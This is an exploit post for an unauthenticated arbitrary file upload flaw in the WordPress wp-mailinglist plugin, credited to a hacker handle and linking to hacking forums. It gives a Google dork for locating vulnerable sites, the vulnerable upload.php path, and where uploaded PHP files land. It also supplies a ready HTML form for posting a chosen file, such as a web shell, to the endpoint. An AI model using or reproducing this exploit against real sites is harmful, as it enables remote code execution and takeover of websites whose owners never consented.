Wordpress plugins wp-mailinglist upload File Vulnerability

#################################################################################
# Exploit Title: Wordpress plugins wp-mailinglist upload File Vulnerability | CSRF
# Author       : sohaip-hackerDZ
# Google Dork  : inurl:/wp-content/plugins/wp-mailinglist/
# Tested on    : Linux
# data         : 2017-05-21
# Blog         : http://www.tools-hack.com/
#################################################################################
#
#
# if msg  : No file data was posted An existing vulnerability
#
# [!] Exploit : 127.0.0.1/path/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php
#
# [!] File Location : http:/127.0.0.1/path/wp-content/uploads/wp-mailinglist/FILE_NAME.php

#################################################################################
#CSRF:
#################################################################################
<html>
<body>
<form action="127.0.0.1/path/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="upfile" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
#################################################################################
# ABOUT
# Facebook  : https://www.facebook.com/sohaipbarika
# forum     : http://spyhackerz.com/forum/
# Blog      : http://www.tools-hack.com/
#################################################################################